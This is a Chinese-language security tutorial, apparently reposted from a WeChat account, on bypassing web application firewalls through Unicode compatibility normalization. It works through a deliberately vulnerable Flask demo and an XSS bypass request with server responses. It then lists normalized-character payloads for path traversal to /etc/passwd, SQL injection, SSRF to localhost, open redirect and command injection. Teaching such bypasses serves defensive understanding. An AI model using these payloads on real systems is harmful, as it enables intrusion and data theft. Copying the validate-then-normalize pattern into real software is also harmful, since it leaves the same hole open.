Unicode 兼容性是Unicode 等效的一种形式,它确保在可能具有不同视觉外观或行为的字符或字符序列之间表示相同的抽象字符。例如,𝕃被标准化为L。此行为可能会为滥用一些在输入清理后执行 unicode 兼容性的弱实现打开大门。
Unicode 兼容形式
有四种标准标准化形式:
-
NFC:标准化形式规范组合
-
NFD:规范化形式规范分解
-
NFKC:标准化形式兼容性组合
-
NFKD:规范化形式兼容性分解
NFKC和NKFD很有趣,因为它们具有兼容性,为了检查这种行为,我们可以使用这个 Python 片段:
import unicodedata
string = "𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))
输出:
NFC: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFD: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFKC: Leonishan
NFKD: Leonishan
概念证明
为了演示此行为,我们创建了一个简单的 Web 应用程序,如果 WAF 未检测到某些奇怪的字符,该应用程序会反映 GET 参数给出的名称。这是代码:
server.py
from flask import Flask, abort, request
import unicodedata
from waf import waf
app = Flask(__name__)
def Welcome_name():
name = request.args.get('name')
if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
return 'Test XSS: ' + name
if __name__ == '__main__':
app.run(port=81)
如果检测到某些不常见的字符,此应用程序会加载以下“WAF”以中止连接:
waf.py
def waf(input):
print(input)
blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","",",".","/","?",";",":",""",""","<",">"]
vuln_detected = False
if any(string in input for string in blacklist):
vuln_detected = True
return vuln_detected
因此,某些具有以下有效负载 ( <img src=p onerror='prompt(1)'>) 的请求将被中止:
-
请求:
GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E
-
响应
HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>
如果我们检查以下代码行:
name = unicodedata.normalize('NFKD', name)
我们可以观察到, WAF 分析输入后,服务器正在执行一些 unicode 规范化。因此,标准化后具有与普通 XSS 负载相同的 unicode 值的负载将触发相同的结果:
<img src⁼p onerror⁼'prompt⁽1⁾'﹥
-
请求
GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5
-
响应
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41
Test XSS: <img src=p onerror='prompt(1)'>
如何找到规范化的字符?
为了找到在 unicode 兼容后具有相同含义的字符的完整列表,可以使用这个令人惊奇的资源:
-
https://www.compart.com/en/unicode
可以搜索某个字符,并找到兼容后的相同字符。例如,字符<- https://www.compart.com/en/unicode/U+003C
显示这三个字符:≮、﹤和<。单击每个后,我们可以在“分解”部分中看到按以下方式标准化:
-
≮- <(U+003C) - ◌̸(U+0338)
-
﹤- <(U+003C)
-
<- <(U+003C)
在这种情况下,该角色≮将无法实现我们想要的功能,因为它会注入角色◌̸(U+0338)并会破坏我们的有效负载。
利用其他漏洞
如果执行标准化,可以制作大量的自定义有效负载,在这种情况下,我将给出一些想法:
-
路径遍历
‥ (U+2025) ‥/‥/‥/etc/passwd ../../../etc/passwd
︰(U+FE30) ︰/︰/︰/etc/passwd ../../../etc/passwd
-
sql注入
'(U+FF07) ' or '1'='1 ’ or ‘1’=’1
"(U+FF02) " or "1"="1 ” or “1”=”1
﹣ (U+FE63) admin'﹣﹣ admin’–
-
服务器端请求伪造 (SSRF)
⓪ (U+24EA) ①②⑦.⓪.⓪.① 127.0.0.1
-
重定向
。(U+3002) jlajara。gitlab。io jlajara.gitlab.io
/(U+FF0F) //jlajara.gitlab.io //jlajara.gitlab.io
-
命令注入
& (U+FF06) &&whoami &&whoami
| (U+FF5C) || whoami ||whoami
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):具有 Unicode 兼容性的 WAF 绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论